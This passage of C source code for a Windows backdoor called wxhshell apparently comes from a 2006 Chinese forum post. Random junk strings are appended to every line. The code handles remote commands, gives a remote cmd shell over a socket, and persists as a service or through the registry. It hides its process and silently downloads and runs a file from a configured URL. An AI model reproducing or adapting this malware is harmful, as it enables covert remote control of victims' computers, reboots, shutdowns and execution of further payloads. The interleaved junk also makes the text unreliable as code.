  } NOl/y@#  
  else { E=ObfN"ge  
"!:)qVL^  
    switch(cmd[0]) { nHQWO   
  !#PA#Q|cO  
  // 帮助 (Y  
  case '?': { RAA,%rRhu(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 43*;"w=  
    break; 4p>,  
  } -v9x tNg  
  // 安装 -(zw80@&  
  case 'i': { E*L5D4Kw  
    if(Install()) Wp^ A.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); af&P;#U  
    else O ]t)`+%q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  }D!o=Mg^  
    break; VL$?vI'  
    } U[hokwZ  
  // 卸载 k|cP]p4,  
  case 'r': { ;b 'L2  
    if(Uninstall()) 5YXMnYt9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _RWH$L9  
    else M`?ATmYy  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )!'7!" $  
    break; yp< )v(8|'  
    } dlwOmO'Bm)  
  // 显示 wxhshell 所在路径 fbJa$  
  case 'p': { Eg1|Kg\&  
    char svExeFile[MAX_PATH]; )IKqO:@  
    strcpy(svExeFile,"\n\r"); !#S"[q  
      strcat(svExeFile,ExeFile); e_3B\59k  
        send(wsh,svExeFile,strlen(svExeFile),0); ozl>Au  
    break; a@! O}f*  
    } QM{B(zH  
  // 重启 Ib"fHLWA^!  
  case 'b': { Cjj(v7[E  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); A%~t[ H  
    if(Boot(REBOOT)) "P$')u wE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); va!fJ  
    else { lN_b&92  
    closesocket(wsh); gj82qy\:  
    ExitThread(0); -'Z-8  
    } fBKN?]BdN  
    break; Z*.rv t  
    } Q>TNzh  
  // 关机 jV#1d8qm  
  case 'd': { WPPD vB  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /`7G7pQ+  
    if(Boot(SHUTDOWN)) J!yK/*sO,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M[L@ej  
    else { 8]WcW/1r !  
    closesocket(wsh); s 4n<k]d  
    ExitThread(0); i1!Y {  
    } jgBJs^JgYG  
    break; n%6=w9.%c  
    } H^g&e$d0  
  // 获取shell Vr #o]v  
  case 's': { 7/dp_I}cO  
    CmdShell(wsh); @`aPr26>?  
    closesocket(wsh); |pE ~  
    ExitThread(0); X rut[)H  
    break; . Fm| $x  
  } q0@b d2}  
  // 退出 }{.V^;  
  case 'x': { fF. +{-.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +B4i,]lCx  
    CloseIt(wsh); R[H#a v  
    break; \M~uNWv|  
    } B XO,  
  // 离开 |lh&l<=(f  
  case 'q': { ULxgvq  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); l;h5Y<A%?  
    closesocket(wsh); *7),v+ET  
    WSACleanup(); Hh%|}*f_,  
    exit(1); 'i 8`LPQ  
    break; pMkM@OH  
        } +l<;?yk:;  
  } |C7=$DgwY  
  } % xBQX  
}1NNXxQ  
  // 提示信息 unyU|B  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \3 O1o#=(  
} ,N8SP 'R  
  } N^jr  
;B;wU.Y"  
  return; ?*cCn-|  
} ~_ko$(;A  
&& WEBQ  
// shell模块句柄 r`PD}6\  
int CmdShell(SOCKET sock) +SkfT4*U  
{ ePTxuCf>  
STARTUPINFO si; >vNE3S_  
ZeroMemory(&si,sizeof(si)); 8[oZ>7LMzC  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !)FKF7'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; J$,bsMIX  
PROCESS_INFORMATION ProcessInfo; ]MB6++.e  
char cmdline[]="cmd"; J n'SGR  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); u`u{\ xN9  
  return 0; ^h"@OEga?  
} c`7dNx  
YH&0Vy#c$  
// 自身启动模式 VRUA<x  
int StartFromService(void) 3u9}z+q  
{ MkM`)g 5  
typedef struct #X0Y8:vj  
{ 1c4:'0  
  DWORD ExitStatus; %5j*e  
  DWORD PebBaseAddress; 2QKt.a  
  DWORD AffinityMask; z!)@`?  
  DWORD BasePriority; ^-(DokdBn  
  ULONG UniqueProcessId; 8#RL2)7Uy`  
  ULONG InheritedFromUniqueProcessId;  x(A6RRh  
}   PROCESS_BASIC_INFORMATION; {Bb:\N8X  
2FEi-m}  
PROCNTQSIP NtQueryInformationProcess; w+hpi5OH  
|^OK@KdL1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1/c+ug!y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; % ejq|i7  
BxesoB  
  HANDLE             hProcess; <6C:\{eo  
  PROCESS_BASIC_INFORMATION pbi; ghW  
;+lsNf  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); l_P90zm39!  
  if(NULL == hInst ) return 0; Nu+DVIM  
zEw~t&:e  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Am#Pa,g  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >txeo17Ba\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); c;88Wb<|W  
XjTu`?Na;  
  if (!NtQueryInformationProcess) return 0; }w{E<C(M  
)oZ2,]us!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "lL/OmG  
  if(!hProcess) return 0; Raf-I+  
~Sx\>wBlc  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @su!9]o  
dyB@qh~H  
  CloseHandle(hProcess); s $ ?;C  
&5hs W1`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,?wxW  
if(hProcess==NULL) return 0; Y.% Vvg4z3  
\Npvm49  
HMODULE hMod; SA?1*dw)  
char procName[255]; ]N:Wt2  
unsigned long cbNeeded; E|W7IgS  
Us% _'}(/U  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?h,.1Tb  
GF*uDJ Kp  
  CloseHandle(hProcess); qpq(<  
t"YN:y8-  
if(strstr(procName,"services")) return 1; // 以服务启动 \ !IEZ  
P[jh^!<j  
  return 0; // 注册表启动 lz _ r  
} c-4z8T#M^  
q&^H" fF  
// 主模块 6Ia[`x uL  
int StartWxhshell(LPSTR lpCmdLine) kR{$&cE^  
{ CW+gZ!  
  SOCKET wsl; uFFC.w  
BOOL val=TRUE; `)Y 5L}c=  
  int port=0; chM-YuN|  
  struct sockaddr_in door; {d> 6*b  
."`||@|  
  if(wscfg.ws_autoins) Install(); 7t+H94KG7  
t;_1/ mt  
port=atoi(lpCmdLine); (*\y  
LdnTdh?  
if(port<=0) port=wscfg.ws_port; @@=,bO  
TW=N+ye^1(  
  WSADATA data; {,= hIXo>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _WI~b  
ZHCrKp  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   7?\r9bD  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); " +hUt  
  door.sin_family = AF_INET; fyxc4-D  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^1Bk*?Yx\x  
  door.sin_port = htons(port); \!*F:v0g^  
 &%T*sR  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { juxAyds  
closesocket(wsl); cG4}daK]d  
return 1; BRv#`  
} Cj J n  
Sp]ov:]%f  
  if(listen(wsl,2) == INVALID_SOCKET) { Y@+9Ukd/  
closesocket(wsl); [YJ*zO  
return 1; u\km_e  
} U@:l~ xJ  
  Wxhshell(wsl); /9| 2uw`  
  WSACleanup(); _S CY e  
#;UoZJ B  
return 0; WN o+%  
&iT^IkA{  
} &uI33=   
ER:K^ Za  
// 以NT服务方式启动 (U:6vk3Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >E WK cocM  
{ 3M>y.MS  
DWORD   status = 0; milQxSpj  
  DWORD   specificError = 0xfffffff; ){w!< Lb  
a&[>kO  
  serviceStatus.dwServiceType     = SERVICE_WIN32; CS0q#?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^[v>B@p*{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0UQ DB5u  
  serviceStatus.dwWin32ExitCode     = 0; m`jGBSlw_  
  serviceStatus.dwServiceSpecificExitCode = 0; l I2UpfkBP  
  serviceStatus.dwCheckPoint       = 0; l>)+HoD  
  serviceStatus.dwWaitHint       = 0; %m$t'?  
2 S2;LB  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,/[1hhP@  
  if (hServiceStatusHandle==0) return; Ld=6'C8ud  
Vc+~yh.)  
status = GetLastError(); ;}k_  
  if (status!=NO_ERROR) T;i+az{N:V  
{ ?XVox*6K&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; m3|l-[!OA"  
    serviceStatus.dwCheckPoint       = 0; =UxKa`  
    serviceStatus.dwWaitHint       = 0; zoj w^%W  
    serviceStatus.dwWin32ExitCode     = status; ZT+{8,  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8an_s%,AW  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); DXK\3vf Ot  
    return; \p)eY#A  
  } Htep3Ol3  
w7~&Xxa/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _HkQv6fXpE  
  serviceStatus.dwCheckPoint       = 0; F0'8n6zj  
  serviceStatus.dwWaitHint       = 0; lT'V=,Y t  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); s*vtCdrE.  
} .C1g Dry]  
pWKI^S  
// 处理NT服务事件,比如:启动、停止 #?~G\Ux0/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,Uy~O(F t  
{ Po.izE!C  
switch(fdwControl) P+,YWp  
{ g5 y*-t  
case SERVICE_CONTROL_STOP: ^;@!\Rc  
  serviceStatus.dwWin32ExitCode = 0; vQ[ Tc V  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; E%$[*jZ  
  serviceStatus.dwCheckPoint   = 0; ictOC F  
  serviceStatus.dwWaitHint     = 0; c43&[xP Lz  
  { q4Y'yp`?K;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); UO-,A j*wW  
  } %gTY7LIe1z  
  return; I!.-}]k  
case SERVICE_CONTROL_PAUSE: 7Q aZ|\c  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; A$TF a:O|  
  break; Q|Nw @7$`  
case SERVICE_CONTROL_CONTINUE: p(A[ah_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _ sBFs.o  
  break; D~,i I7ac  
case SERVICE_CONTROL_INTERROGATE: TH+TcYqO  
  break; W;8}`k  
}; s_6Iz^]I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H#QPcp@  
} GGFrV8  
Z FIgKWZ'  
// 标准应用程序主函数 7Ur'@wr  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {tnhP^C3>  
{ :kucDQE({?  
Qq\hD@Z|  
// 获取操作系统版本 U"K%ip:Wd  
OsIsNt=GetOsVer(); +b{tk=Q:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &9xcP.3  
[8[`V)b  
  // 从命令行安装 sA+( |cEh  
  if(strpbrk(lpCmdLine,"iI")) Install(); ))J#t{X/8v  
a1ai?},  
  // 下载执行文件 ['I5(M@  
if(wscfg.ws_downexe) { G)%r|meKGB  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "=0JYh)%_  
  WinExec(wscfg.ws_filenam,SW_HIDE); --TY[b  
} J#G\7'?{  
x%RE3J-  
if(!OsIsNt) { jDW$}^ 6  
// 如果时win9x,隐藏进程并且设置为注册表启动 {!"lHM%  
HideProc(); $"Nqto~  
StartWxhshell(lpCmdLine); S#|5&SR  
} {|tMN,Z  
else $HV`bJ5!L*  
  if(StartFromService()) U?ZxQj66}  
  // 以服务方式启动 |LE*R@|3$  
  StartServiceCtrlDispatcher(DispatchTable); ^2mCF  
else hle@= e/n  
  // 普通方式启动 %UCuI9  
  StartWxhshell(lpCmdLine); Fw6x (j"  
pbqJtBBDDS  
return 0; 3L;&MG=  
}
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只看该作者 1 发表于: 2006-10-10
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